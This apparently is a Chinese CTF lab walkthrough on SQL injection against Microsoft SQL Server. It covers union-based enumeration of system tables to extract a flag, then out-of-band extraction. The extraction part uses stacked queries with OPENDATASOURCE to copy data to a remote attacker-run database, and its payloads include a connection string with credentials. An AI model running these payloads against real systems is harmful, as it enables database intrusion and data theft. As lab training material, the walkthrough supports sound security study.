MSSQL就是sql server 他跟mysql进行注入的方式有所不同
这里写两种方法
1.联合查询注入
首先mssql使用联合查询时,是不能用select 1,2,3这样填充的,必须要和表中的数据类型一样,但是可以使用null来填充
首先来猜字段
order by 3时正确,order by 4时错误
所以字段数为3
然后进行猜数据类型。先
?id=1’ union all select NULL,NULL,NULL – qwe
回显正常
挨个测试数据类型
?id=1’ union all select 1,‘w’,‘w’ – qwe
猜测得出数据类型为,int ,char,char
然后进行查询系统表,mssql的系统表是sysobjects,里面包含了数据库中的所有表
其中只有三个字段: id,name,xtype 刚好对应靶场中的int,char,char的数据类型。
其中xtype只有两个参数,S和U
S代表系统自带表,U代表用户自建表
?id=1’ union all select id,name,NULL from sysobjects where xtype=‘U’ – qwe
得到
其中id对应的是这个表的id,name就是这个表的名字
然后记住表的id,来查询这个表的字段名
这个id是用来连接syscolumns表的
syscolumns表的结构跟sysobjects是不一样的
?id=1’ union all select NULL,name,NULL from syscolumns where id=1977058079 – qwe
得到
flag多半是在token
然后就是正常的查询了
?id=1’ union all select NULL,NULL,token from admin – qwe
得到flag
2.反弹注入
利用数据外带的方式来进行注入,就是将数据库的插入的自己的数据库里
但是首先你要有公网ip和mssql服务器
可以去香港云(http://www.webweb.com/)注册,60天免费
这里利用opendatasource()函数
语法:
OPENDATASOURCE(provider_name,init_string)
provider_name 注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB
init_string 连接字符串 连接地址、端口、用户名、密码、数据库名 server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
即:
opendatasource(‘sqloledb’,‘server=连接地址,连接端口;uid=用户名;pwd=密码;database=库名’).库名.权限(dbo).表名 <查询语句>
但是想要导出的记录要和自己建的导入的表的字段数相同
数据库端口默认为1433
然后传到自己建好的数据库服务器内
要使用堆叠注入,mssql以’;'号为结束,遇到;后开始新的语句
?id=1’; insert into opendatasource(‘sqloledb’,‘server=SQL5095.site4xxx.net,1433;uid=DB_14DCxxx_a94_admin;pwd=nsqvcf96310;database=DB_14DC259_a94’).DB_14DC259_a94.dbo.zhiyuan select id,name from sysobjects where xtype=‘U’ – qew
在自己的数据库里得到
然后再用相同的方法得到字段名
?id=1’; insert into opendatasource(‘sqloledb’,‘server=SQL5095.site4xxx.net,1433;uid=DB_14DCxxx_a94_admin;pwd=nsqvcf96310;database=DB_14DC259_a94’).DB_14DC259_a94.dbo.temp select id,name from syscolumns where id=1977058079 – qew
得到
好,然后查询就行了
?id=1’; insert into opendatasource(‘sqloledb’,‘server=SQL5095.site4xxx.net,1433;uid=DB_14DCxxx_a94_admin;pwd=nsqvcf96310;database=DB_14DC259_a94’).DB_14DC259_a94.dbo.temp select NULL,token from admin – qwe
得到flag